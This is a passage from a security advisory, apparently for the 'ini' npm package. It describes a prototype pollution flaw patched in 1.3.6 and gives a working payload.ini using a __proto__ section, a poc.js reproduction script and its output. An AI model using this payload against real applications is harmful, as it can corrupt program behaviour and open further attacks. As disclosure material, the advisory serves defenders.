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This can be exploited further depending on the context.\n\n### Patches\n\nThis has been patched in 1.3.6.\n\n### Steps to reproduce\n\npayload.ini\n```\n[__proto__]\npolluted = \"polluted\"\n```\n\npoc.js:\n```\nvar fs = require('fs')\nvar ini = require('ini')\n\nvar parsed = ini.parse(fs.readFileSync('./payload.ini', 'utf-8'))\nconsole.log(parsed)\nconsole.log(parsed.__proto__)\nconsole.log(polluted)\n```\n\n```\n> node poc.js\n{}\n{ polluted: 'polluted' }\n{ polluted: 'polluted' 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